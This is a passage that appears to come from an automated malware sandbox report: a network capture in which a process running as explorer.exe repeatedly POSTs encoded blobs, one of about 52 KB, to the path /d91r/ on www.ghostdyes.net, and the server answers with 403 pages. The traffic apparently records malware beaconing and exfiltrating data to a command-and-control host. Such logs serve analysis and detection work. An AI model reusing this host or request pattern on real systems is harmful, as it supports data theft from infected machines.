20 20 20 20 20 20 20 62 6f 64 79 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 31 32 70 78 2f 31 2e 35 20 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 56 65 72 64 61 6e 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 34 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 34 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6e 67 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 36 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 Data Ascii: 371<html> <head> <title>Page Not Found</title> <style> body{ margin:0; padding:30px; font:12px/1.5 Helvetica,Arial,Verdana,sans-serif; } h1{ margin:0; font-size:48px; font-weight:normal; line-height:48px; } strong{ display:inline-block; width:65px; } </style> </head> <body>
Mar 20, 2023 15:21:30.837590933 CET	1033	IN	Data Raw: 20 20 20 20 20 20 20 3c 68 31 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f Data Ascii: <h1>Page Not Found</h1> <p> The page you are looking for could not be found. Check the address bar to ensure your URL is spelled correctly. If all else fails, you can visit our home page at th
Mar 20, 2023 15:21:30.837625027 CET	1033	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.11.20	49883	34.117.168.233	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:35.872982979 CET	1035	OUT	POST /d91r/ HTTP/1.1 Host: www.ghostdyes.net Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.ghostdyes.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ghostdyes.net/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 77 4b 55 48 42 53 72 4a 64 30 79 6c 74 77 44 52 31 4e 36 38 64 41 39 33 68 31 62 78 72 6e 44 49 74 4b 43 47 28 45 36 71 7a 4a 32 64 54 35 6d 73 75 77 63 50 42 44 50 63 58 69 57 7a 54 47 47 6f 70 53 4b 34 79 36 70 68 74 4b 5a 50 62 58 66 51 76 52 33 4a 46 50 74 5f 4e 68 57 49 4a 6e 53 6f 4c 76 79 66 34 71 39 52 34 65 72 4d 6c 78 37 4b 64 68 69 52 68 72 4d 70 71 78 49 69 76 53 7e 47 62 4c 74 4a 5a 75 36 46 63 34 6e 58 47 43 66 75 70 64 64 6e 75 66 58 6d 39 55 35 34 73 71 65 6b 33 4b 53 73 70 47 79 65 67 56 37 4b 38 45 4c 46 72 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=wKUHBSrJd0yltwDR1N68dA93h1bxrnDItKCG(E6qzJ2dT5msuwcPBDPcXiWzTGGopSK4y6phtKZPbXfQvR3JFPt_NhWIJnSoLvyf4q9R4erMlx7KdhiRhrMpqxIivS~GbLtJZu6Fc4nXGCfupddnufXm9U54sqek3KSspGyegV7K8ELFrA).
Mar 20, 2023 15:21:35.885536909 CET	1035	IN	HTTP/1.1 403 Forbidden Date: Mon, 20 Mar 2023 14:21:35 GMT Content-Type: text/html Content-Length: 146 X-Seen-By: GXNXSWFXisshliUcwO20NXdyD4zpCpFzpCPkLds0yMeXcSPCUv1WDAmE2RboxBjt,qquldgcFrj2n046g4RNSVLeuNqwcdH46iMA2Je1RdMI= X-Wix-Request-Id: 1679322095.879491653816436 X-Content-Type-Options: nosniff Server: Pepyaka/1.19.10 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.11.20	49884	34.117.168.233	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:38.399604082 CET	1037	OUT	POST /d91r/ HTTP/1.1 Host: www.ghostdyes.net Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.ghostdyes.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ghostdyes.net/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 77 4b 55 48 42 53 72 4a 64 30 79 6c 76 52 7a 52 32 75 69 38 62 67 39 30 6b 31 62 78 77 33 44 45 74 4b 4f 47 28 46 7e 36 77 37 69 64 54 5a 32 73 76 7a 45 50 41 44 50 63 66 43 57 38 58 47 47 6a 70 53 4f 61 79 2d 70 68 74 4b 4e 50 4b 31 58 51 71 68 33 4f 4f 76 74 38 48 42 57 4a 4e 6e 54 47 4c 76 7e 4c 34 72 5a 52 34 75 33 4d 6b 7a 54 4b 4b 45 4f 65 33 37 4d 7a 73 78 49 68 32 43 7e 79 62 4c 78 5f 5a 76 53 7a 63 75 48 58 47 69 28 75 37 74 64 67 31 66 58 68 28 55 34 34 6c 4b 43 30 28 72 61 67 39 33 71 54 6b 58 66 61 7e 58 69 57 30 30 33 67 64 5a 63 70 68 79 6e 56 4e 2d 6f 31 51 6d 4c 33 7e 58 66 70 54 79 37 6c 73 78 47 44 41 35 4c 53 4f 78 43 70 6e 71 4a 59 79 31 4c 42 32 61 4d 39 30 37 66 4a 76 4d 66 64 6c 46 6f 73 51 55 4c 6c 32 46 45 38 55 36 39 37 36 76 6e 35 77 6f 64 4f 45 69 4b 4c 30 6a 7a 6c 77 57 66 4b 34 45 6d 5f 4e 34 57 70 47 6f 4b 61 65 59 61 4f 58 39 6d 6f 37 64 32 61 48 75 42 42 4a 58 61 4b 42 46 70 50 48 65 46 45 47 55 59 39 48 39 36 70 7e 5f 31 6f 52 75 62 2d 7e 61 52 47 79 5a 7a 45 4a 65 74 52 6b 71 71 30 56 4e 55 53 64 67 75 58 44 4a 67 54 79 67 4f 31 31 50 47 33 67 53 59 5f 39 45 69 6b 44 6b 75 56 69 43 4b 31 39 63 38 65 68 30 4b 34 77 64 37 63 61 75 32 35 54 44 76 62 4b 67 4f 54 46 6d 6e 62 32 38 43 4c 4f 59 64 47 55 78 7e 6e 62 78 47 6e 32 44 30 30 71 41 49 62 61 6c 71 51 55 51 51 4c 28 5a 4f 64 6f 6b 33 6e 38 50 7e 49 65 38 37 34 28 66 4b 71 73 39 75 42 7e 55 71 43 57 76 4c 49 4a 44 6d 6d 7e 52 6c 65 55 47 66 4f 67 65 57 58 31 39 4a 37 4d 53 55 52 36 48 37 49 43 63 73 67 74 45 47 69 77 74 31 44 6a 76 65 55 49 42 45 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=wKUHBSrJd0ylvRzR2ui8bg90k1bxw3DEtKOG(F~6w7idTZ2svzEPADPcfCW8XGGjpSOay-phtKNPK1XQqh3OOvt8HBWJNnTGLv~L4rZR4u3MkzTKKEOe37MzsxIh2C~ybLx_ZvSzcuHXGi(u7tdg1fXh(U44lKC0(rag93qTkXfa~XiW003gdZcphynVN-o1QmL3~XfpTy7lsxGDA5LSOxCpnqJYy1LB2aM907fJvMfdlFosQULl2FE8U6976vn5wodOEiKL0jzlwWfK4Em_N4WpGoKaeYaOX9mo7d2aHuBBJXaKBFpPHeFEGUY9H96p~_1oRub-~aRGyZzEJetRkqq0VNUSdguXDJgTygO11PG3gSY_9EikDkuViCK19c8eh0K4wd7cau25TDvbKgOTFmnb28CLOYdGUx~nbxGn2D00qAIbalqQUQQL(ZOdok3n8P~Ie874(fKqs9uB~UqCWvLIJDmm~RleUGfOgeWX19J7MSUR6H7ICcsgtEGiwt1DjveUIBE.
Mar 20, 2023 15:21:38.412086010 CET	1037	IN	HTTP/1.1 403 Forbidden Date: Mon, 20 Mar 2023 14:21:38 GMT Content-Type: text/html Content-Length: 146 X-Seen-By: GXNXSWFXisshliUcwO20NZL9Lwun+M+7c/tw2Pto8/F6pfTDROw1o9VV/7h7Wawa,qquldgcFrj2n046g4RNSVCA9lUGGSSQQI3tXitet/XU= X-Wix-Request-Id: 1679322098.4064906282316273 X-Content-Type-Options: nosniff Server: Pepyaka/1.19.10 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.11.20	49885	34.117.168.233	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:40.932997942 CET	1044	OUT	POST /d91r/ HTTP/1.1 Host: www.ghostdyes.net Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.ghostdyes.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ghostdyes.net/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 77 4b 55 48 42 53 72 4a 64 30 79 6c 76 52 7a 52 32 75 69 38 62 67 39 30 6b 31 62 78 77 33 44 45 74 4b 4f 47 28 46 7e 36 77 37 61 64 54 50 36 73 75 54 34 50 44 44 50 63 41 79 57 5f 58 47 47 79 70 53 32 65 79 2d 73 55 74 4d 4a 50 4a 6d 76 51 70 58 62 4f 4c 76 74 35 4c 68 57 4c 4a 6e 53 66 4c 76 79 58 34 76 4a 65 34 65 44 4d 6c 30 58 4b 64 48 32 52 35 4c 4d 70 73 78 49 74 68 79 7e 55 62 4c 31 52 5a 76 4f 7a 63 6f 66 58 46 77 33 75 6f 73 64 67 74 66 58 69 35 6b 34 4e 76 71 44 64 28 72 4f 65 39 33 72 6d 6b 55 54 61 7e 52 69 57 31 7a 72 6a 65 35 63 70 69 79 6e 53 65 76 55 78 51 69 54 6b 7e 57 72 70 54 79 44 6c 32 52 47 44 53 6f 4c 64 4f 52 44 44 77 61 49 59 28 56 48 7a 32 61 6f 48 30 2d 76 4a 76 38 62 64 6e 79 45 73 57 31 4c 6c 31 6c 45 45 61 61 38 6e 77 50 6e 6c 77 70 74 6f 45 69 71 78 30 68 28 6c 78 32 28 4b 7a 42 4b 67 41 49 57 76 66 6f 4b 44 4d 6f 57 34 58 39 32 6b 37 64 32 73 48 73 74 42 4b 6b 43 4b 41 48 42 49 41 4f 46 48 4b 30 5a 5f 63 74 32 6a 7e 37 74 67 52 75 6a 75 7e 62 5a 47 7a 35 7a 45 4d 5f 74 53 78 71 71 33 64 74 56 58 65 51 76 58 44 4a 73 50 79 6c 6a 41 31 65 71 33 69 69 49 5f 73 6b 69 6e 46 45 75 52 72 69 4b 7a 32 38 38 65 68 31 33 66 77 64 33 63 61 63 6d 35 53 30 54 62 42 58 36 54 44 6d 6e 52 32 38 43 61 4f 59 59 34 55 78 33 47 62 78 32 42 32 42 34 30 72 56 67 62 64 67 47 50 46 77 51 54 37 5a 50 46 73 6b 72 77 38 50 6a 45 65 38 71 48 28 4f 71 71 32 39 7e 42 31 30 71 44 64 76 4c 4c 4d 7a 6d 4b 31 77 5a 43 55 47 44 77 67 65 4c 4d 31 5f 4a 37 4f 30 4a 4e 75 6b 6a 45 63 4d 67 57 70 68 4b 75 33 63 68 73 33 64 69 38 62 56 4a 31 46 70 41 6a 70 2d 66 62 55 6e 58 44 61 57 59 32 47 4c 7a 39 42 32 76 35 6f 52 72 4e 54 65 7e 66 65 62 68 44 54 46 4d 4e 47 6f 48 73 42 36 67 67 68 64 55 79 33 5f 77 32 44 6d 62 45 55 58 4a 55 35 51 61 6f 53 55 4c 6f 65 64 6d 68 52 37 6b 74 77 45 68 75 75 67 33 47 68 6d 71 6c 33 63 58 76 56 4b 31 78 44 58 79 64 39 41 47 66 77 4a 77 53 50 50 7e 49 6f 58 76 43 36 54 49 48 79 67 32 67 65 56 79 43 56 59 74 32 66 5f 34 6a 49 5a 62 38 4b 64 50 43 77 34 6a 45 52 47 75 42 61 69 6e 43 39 42 72 31 72 55 79 6f 31 69 52 4b 71 44 53 76 56 69 7e 61 74 53 43 37 65 78 34 31 47 75 70 78 66 48 62 30 78 6c 45 4e 43 6b 7e 45 72 52 6e 79 48 53 6f 66 68 76 51 44 4e 55 39 2d 51 62 47 76 57 79 76 62 79 6e 78 37 65 62 31 54 7e 58 34 64 28 64 75 4d 66 6e 45 79 4b 4d 58 58 52 58 52 4b 4f 4f 71 35 67 6d 42 62 69 52 51 6d 69 50 6f 32 31 67 45 69 6e 73 63 4f 6b 57 4c 6e 31 78 53 6d 49 44 6c 4b 65 4f 28 32 44 44 55 6a 6f 65 73 69 43 36 66 6e 4e 44 31 48 6c 6f 56 6d 48 63 72 5a 47 49 76 66 39 62 34 68 53 49 70 46 44 41 78 71 33 72 42 65 6a 41 79 41 7a 59 76 2d 68 39 77 6f 50 70 37 42 37 72 70 71 57 36 7a 75 6a 44 41 4e 76 78 35 54 55 77 6d 76 56 47 66 57 7a 58 4d 64 74 74 6e 71 59 30 4e 45 6e 44 59 58 57 33 6e 57 79 56 47 39 61 55 4a 74 6c 69 41 44 75 45 72 31 6b 35 28 4b 55 43 63 47 45 75 5a 31 34 57 72 49 51 4c 58 4b 6d 58 78 48 45 73 70 35 52 54 30 31 55 75 46 75 54 6b 61 45 64 7a 70 43 34 52 47 66 68 5f 33 35 73 4a 72 4c 70 6b 45 42 39 6d 6e 59 6c 79 6c 57 65 7a 64 6a 79 50 68 5f 62 33 59 33 79 44 72 78 61 6a 71 44 6d 48 54 34 69 57 34 61 41 65 51 52 65 75 52 75 6e 52 64 79 4a 61 6c 56 46 62 6e 66 28 79 74 68 46 62 78 55 41 50 6f 6a 34 31 57 62 39 7a 39 6c 48 67 61 4e 45 53 6b 57 66 52 61 31 4c 72 31 4e 33 75 42 53 68 56 64 56 48 31 34 56 65 38 50 72 72 61 6d 66 31 75 6e 6e 79 6e 50 68 77 74 46 4e 32 30 6c 71 61 69 4d 61 6c 74 4c 6a 30 32 6c 57 44 5f 72 35 50 49 34 59 28 6e 71 7a 65 56 68 6b 4b 2d 6a 49 62 38 34 41 36 4c 56 2d 70 4f 6b 38 48 69 68 37 63 67 35 54 41 56 58 73 34 55 41 6a 57 72 61 2d 59 67 6c 6a 72 48 47 6c 4f 62 55 72 77 36 32 51 69 4b 31 37 63 38 34 2d 68 42 56 50 48 59 36 34 72 6b 32 73 75 66 77 78 41 37 4d 35 7a 52 57 35 4d 6a 6f 71 55 53 55 4e 6b 67 77 35 70 43 68 30 4a 65 65 45 68 56 48 59 50 73 37 64 62 74 48 70 6a 61 7a 54 69 6e 78 4f 65 32 51 68 49 7a 4d 4e 41 48 77 54 28 6f 65 53 6c 78 42 58 79 70 4f 47 53 5f 75 5a 75 57 53 7a 5a 71 36 63 31 75 39 6a 63 4a 6e 52 41 6b 4b 44 62 48 28 6f 78 59 49 32 6e 52 6b 4f 71 57 52 62 36 43 63 76 68 51 28 33 33 72 59 38 55 45 35 77 42 4a 54 67 Data Ascii: pO=wKUHBSrJd0ylvRzR2ui8bg90k1bxw3DEtKOG(F~6w7adTP6suT4PDDPcAyW_XGGypS2ey-sUtMJPJmvQpXbOLvt5LhWLJnSfLvyX4vJe4eDMl0XKdH2R5LMpsxIthy~UbL1RZvOzcofXFw3uosdgtfXi5k4NvqDd(rOe93rmkUTa~RiW1zrje5cpiynSevUxQiTk~WrpTyDl2RGDSoLdORDDwaIY(VHz2aoH0-vJv8bdnyEsW1Ll1lEEaa8nwPnlwptoEiqx0h(lx2(KzBKgAIWvfoKDMoW4X92k7d2sHstBKkCKAHBIAOFHK0Z_ct2j~7tgRuju~bZGz5zEM_tSxqq3dtVXeQvXDJsPyljA1eq3iiI_skinFEuRriKz288eh13fwd3cacm5S0TbBX6TDmnR28CaOYY4Ux3Gbx2B2B40rVgbdgGPFwQT7ZPFskrw8PjEe8qH(Oqq29~B10qDdvLLMzmK1wZCUGDwgeLM1_J7O0JNukjEcMgWphKu3chs3di8bVJ1FpAjp-fbUnXDaWY2GLz9B2v5oRrNTe~febhDTFMNGoHsB6gghdUy3_w2DmbEUXJU5QaoSULoedmhR7ktwEhuug3Ghmql3cXvVK1xDXyd9AGfwJwSPP~IoXvC6TIHyg2geVyCVYt2f_4jIZb8KdPCw4jERGuBainC9Br1rUyo1iRKqDSvVi~atSC7ex41GupxfHb0xlENCk~ErRnyHSofhvQDNU9-QbGvWyvbynx7eb1T~X4d(duMfnEyKMXXRXRKOOq5gmBbiRQmiPo21gEinscOkWLn1xSmIDlKeO(2DDUjoesiC6fnND1HloVmHcrZGIvf9b4hSIpFDAxq3rBejAyAzYv-h9woPp7B7rpqW6zujDANvx5TUwmvVGfWzXMdttnqY0NEnDYXW3nWyVG9aUJtliADuEr1k5(KUCcGEuZ14WrIQLXKmXxHEsp5RT01UuFuTkaEdzpC4RGfh_35sJrLpkEB9mnYlylWezdjyPh_b3Y3yDrxajqDmHT4iW4aAeQReuRunRdyJalVFbnf(ythFbxUAPoj41Wb9z9lHgaNESkWfRa1Lr1N3uBShVdVH14Ve8Prramf1unnynPhwtFN20lqaiMaltLj02lWD_r5PI4Y(nqzeVhkK-jIb84A6LV-pOk8Hih7cg5TAVXs4UAjWra-YgljrHGlObUrw62QiK17c84-hBVPHY64rk2sufwxA7M5zRW5MjoqUSUNkgw5pCh0JeeEhVHYPs7dbtHpjazTinxOe2QhIzMNAHwT(oeSlxBXypOGS_uZuWSzZq6c1u9jcJnRAkKDbH(oxYI2nRkOqWRb6CcvhQ(33rY8UE5wBJTgz4nInbWo~d0k20kPQK7b0Lwr5Cwdc4sQ0hxXnukv0fcI71lWS9WoUNvheMlE546jT-5UT7L1~NGTHifg0AHgMNJ6g5haT1FWAswafTzE751_rgfWeKaO(ptCKctWHrXrLnuZxqS6SuR5cjnjSAlrf8sb(73qK3eZxXrFRvkZc2A91y8J21HFmzfoaenza7FYi6V1cLwAFpLerATravqmToTj2PPfwMis6XcPEaxR0jaJp7l48EopSz6WxNMpeITHHryS(xBMismoyEl5MUx_kTuDN28bT3u1qSKnedCp2Qtk2rxGMaZja6KC8TiPYMErXtyvo2HFTL94ekeKbCjfqu0A1RDfXf7J4O5PLZSVYv3v7-lvhKn6koETh4UPbfu-bpCfg927PWJx8kQxAlmhrI4dB6LVl-OITNpVsVoJmfKmcMC7u5btQ_L9ar8vf0i3ZoNbAkwszmfSnSB3QGHVRMS1n_KELcYgpNakEGOWBt6SFGpjS28x7avI2URzBD5zUIQrlYtjKyMtrJkiQhnY3QBvB6Ko7XgPjEbvEYFM8HvWOU7jcHpbWpxnrMZukc7fymEy1iT3ZjzF2ahjy5xfETqQsPUArZF54sPRECCzn1z93u4uWZWWsOn_GW58202qtCzaV7t9NSmGqYst(YKqkNXdmhSmpw(J(HSnD_m4XkhMn2NZSN(XAjXR4ji3c7YQ83AqxJ(xyls-vAavd4KIfq~Mewn0wY3q0bwklgTiXmWtX9o9c1n0hDGGN-Y8iXPMzQcw(3zGRVcWWZ4AQLxmuTJIqOD8l3xXwg(PDzT9tKwVTMXIfN7s4vQO1qkH4XcLmM5KqXNqrTH97X5-2mFcnd9-lAZhr-~tqJ32KhgnYpp3kx3awkndbYyzgI00Vv(aGk56wrjdBJiMWBuZvSj-izmffjBYXgtS8zfGz-kSEQKODQSBda4Fr9MI7T4wxqIqo4TsqoYi(D~FeHcAlBD7Wavk94yVmktvGcawOAT-c1~GeixNwxJkWA2xRFh8jBEe5gkBuPY-3q30fmLA4ssQBpEL5VhgPEZO~dkJR_Tpni09(WLJpW1_ocrKbzTalcOYbDSIoEEMwaRVVg9mCfZxhu4Z(5F9YnVQqMvw2idoKVIdOxFxNQSZGlUmJ9ccybdJgY(vVyzV4NDi~J7pS4~WEXYKf-HyR5CrKX4A5StTaYQHOd8ion6nPIPi(1NYmnpG1Y10CoF9QOxryfNSWlYlRU~iLkJydbiPILDXRPqjPSOuAOUynOq0pHE9(FOv~dlBdnzI0Qjeh9AKlO0Bi7v1nZJ1fogGTG1qgiZ_x5Wf49b2U2bs6uii0lRG9EIYae919zrFpeJ3XrqaCtwnmkkiSBBUh3dOnVPd0LhyTFYD(1UPIukFvektBjVXcegW(ihXF71v5Y5a1GqgxaZtdtV_qPZD2d8-Q0aR4mS8hGPri5RJuejKev8Cp2HYbBHmqUQqN2m0fVWy4bUObLeWOOERHuN0mugn335Al2OnYltu3lZCbDEj07LsZwLWBnJr5S35JUjkJXIjh47-KK9kUxDlquf4t7Hft07m3dHwMa6w8aV82judyhKmlnLSCBuHAkv0ZWhG1ll_sgIWfkXj7HnboamD1oSooiKWLzpdTxZw(icX(hd58qXsysfaAPszdEiYE7sWHk2JomXYzQZ5CO1DNP9CdOdW6vBfJbymxi5eBSqNpKGh5NfkaV9OLw5qXvSmPq6d0RB4sdnBgzlymZtnbCdKwRIvHVon(m00HXNyWzdJEvKBAfujVD3UZaNmgZd-MURU64TWMPJdXEYLreXQ4vxmjyG29NRhKQ30P98BGRvi(FQ2jHxmsOW3NnfmZWFsg7nmyydTfmxedUskpSXt0X1-JgQq7pSYhagAAwlUvJtF(gZkUxMezVruvOFgzB6AKD77UZiQo_QTGeM_~BZCyEtvCaIJk0sAYNbNWApGk0sxXx6nQpcyliBuFmw6Vcst9r~aMD9_RnellwT0AQQpWv2518Sn19q457WIRXOT8qmfJ7v9plZCxGsYfCH-YiJDW8pVjNB5p6Y0hUmx(-Oen0jubpHTY6firJjN7co5MAWoYnFrDBOzD-kUBuKPSQi2~PcEPJVoinSFoLA5lEMzebGZ7dD4qLMengPAhckja-ab0TReFTRvZyj6wsU3JJ5utJPWkQkHoFXrf_0EAd0vHYShvG95aY0dwN4ZcI(Rxi7e3VJGJxN3Q34CAmYViZFFYYkaYejQywFzOAjO3eI2b7yMe8Kfzb(xYvBx2WHAH_F6zG~8wJkZ(8CXkKFNulPNccUndHUC5YvPC7PYutsP(EesgUVSl0QPQ4QfIf6H8Ik0v05IMBycYJ9qqjZAJVriIlFx1tuQoFnBsozoGVnLi2ebC40Qa1oPltatVn~xcRqbpURWR7jPAkm8IOKUb9KskgI0EibwCBfb0XsxNOoEJdXop5c0uqzdHwWKPfpb0y0073hk2x4Ec7mr53DPhCG2S-QXFe6-qNwFT_3LKa9Jjqt1c-7hs0mCiM(UJcQfUltJZ7hPk9hDVE9ud-ZmgLPY6TOPIl78kUDPwpunBewznjoWQx1dB9KEBEkqClH_zOUl2AU83mGzTkOhfp1ayvvRngRTnAiKs1EjRgcIs9WssCYK5_gpjg~IqPP5zTRfop(8oxgt~k6hxyIK(saMExeDxXHmPwyqheHoV-GIxL3uQGygoC4etF3wjsx
Mar 20, 2023 15:21:40.933101892 CET	1050	OUT	Data Raw: 39 45 36 76 73 4b 54 5a 39 50 44 43 74 75 28 49 45 76 48 45 39 48 4a 58 33 44 46 72 73 4d 79 7a 6a 75 33 56 4d 50 75 4e 44 58 43 5f 57 50 44 61 68 79 6f 49 6d 30 55 53 63 50 64 4e 33 63 69 50 77 4d 48 64 28 77 4b 75 4b 39 6a 75 68 7a 6c 30 33 36 Data Ascii: 9E6vsKTZ9PDCtu(IEvHE9HJX3DFrsMyzju3VMPuNDXC_WPDahyoIm0UScPdN3ciPwMHd(wKuK9juhzl036UCgikJ7ppvWMXQMBheaTw8NUJK09BWDSVFTyfY0kmM~ChMGLA_ua0rJz7qCugX(Qi6Z5yWsak2OmRcMCRd7pklkcsoGUEJliJwZNAjmFzw7WX0wLlpQWtdpTjnPGTab4pOJDWMS4p3lqX-HpP8Yr4F6twnMqDoFws
Mar 20, 2023 15:21:40.942397118 CET	1053	OUT	Data Raw: 41 6a 66 6d 74 46 30 73 4d 37 52 51 33 65 61 6a 66 32 43 6f 75 78 77 54 54 53 64 4c 78 61 50 44 65 5f 77 2d 54 42 67 66 38 33 38 50 6e 61 42 48 6e 43 35 30 69 6f 35 46 75 63 35 75 69 35 6f 6d 4c 6e 4d 4f 72 63 7e 55 4a 31 74 6f 79 44 42 4a 7e 31 Data Ascii: AjfmtF0sM7RQ3eajf2CouxwTTSdLxaPDe_w-TBgf838PnaBHnC50io5Fuc5ui5omLnMOrc~UJ1toyDBJ~1stS_A8obIypT2f536N93VGEkdFaClRgxm2o7O_1WGUQUmehHcDYo~70D95zOzZky2w1rOHc6(FkfEaqsQms3focWOPGHDsHAbMwGO8bztCFNdI8EzKiSvy0cKGxM5I(tEq4TA0LwLpdHt8ueBxaVzzqUzab1R5zDM
Mar 20, 2023 15:21:40.942576885 CET	1061	OUT	Data Raw: 76 69 56 73 4d 39 28 4f 61 67 31 59 37 31 42 4b 48 37 4b 43 77 66 45 73 6e 31 39 47 45 6d 28 44 36 66 73 73 35 62 45 58 6e 4b 7a 65 76 51 78 5a 47 41 4f 50 34 51 41 4d 31 70 57 66 33 51 70 34 77 4b 37 6c 32 58 46 78 59 65 63 6b 46 74 6a 6f 6b 4d Data Ascii: viVsM9(Oag1Y71BKH7KCwfEsn19GEm(D6fss5bEXnKzevQxZGAOP4QAM1pWf3Qp4wK7l2XFxYeckFtjokM0sb6BAGvruRUGhpHPyR86h6xrmmLNhEq0vs9Gi1impWlZClsHOPkGi~1kXdjpCDveqg-OwasgifJqRCp80hbrYs1BjRLHZsM3ro1fPZBrAb6E1kWY8kMgPeP2JOGhmbZZM49UeRYkQbY4S(BcB~88dsqAas5uE5wJ
Mar 20, 2023 15:21:40.942744970 CET	1065	OUT	Data Raw: 4d 6f 35 44 6e 6e 75 71 64 41 32 67 33 45 78 46 47 51 70 64 56 36 42 39 73 5f 61 6b 77 51 54 6e 37 45 4b 64 42 71 7e 5a 57 51 64 49 78 33 48 77 6f 71 4f 34 69 35 51 76 7e 4d 34 49 35 4b 58 59 62 6a 57 64 53 51 36 73 57 76 41 32 38 66 53 59 4e 61 Data Ascii: Mo5DnnuqdA2g3ExFGQpdV6B9s_akwQTn7EKdBq~ZWQdIx3HwoqO4i5Qv~M4I5KXYbjWdSQ6sWvA28fSYNaTBbbfjorC7Jm3z6Qcke85rG-VwCMo6Lnyozaa_ggWElzwbeja8Rr7wKHTtia5jJth79QwlTmibFpROcYFLxeP7Geg5(-2cnHBISSahWmZ5QvYa(JolNyE9oKtqQYbycovLXazIg_IGOpiJeBRTRuqRAWraYa8Ud4E
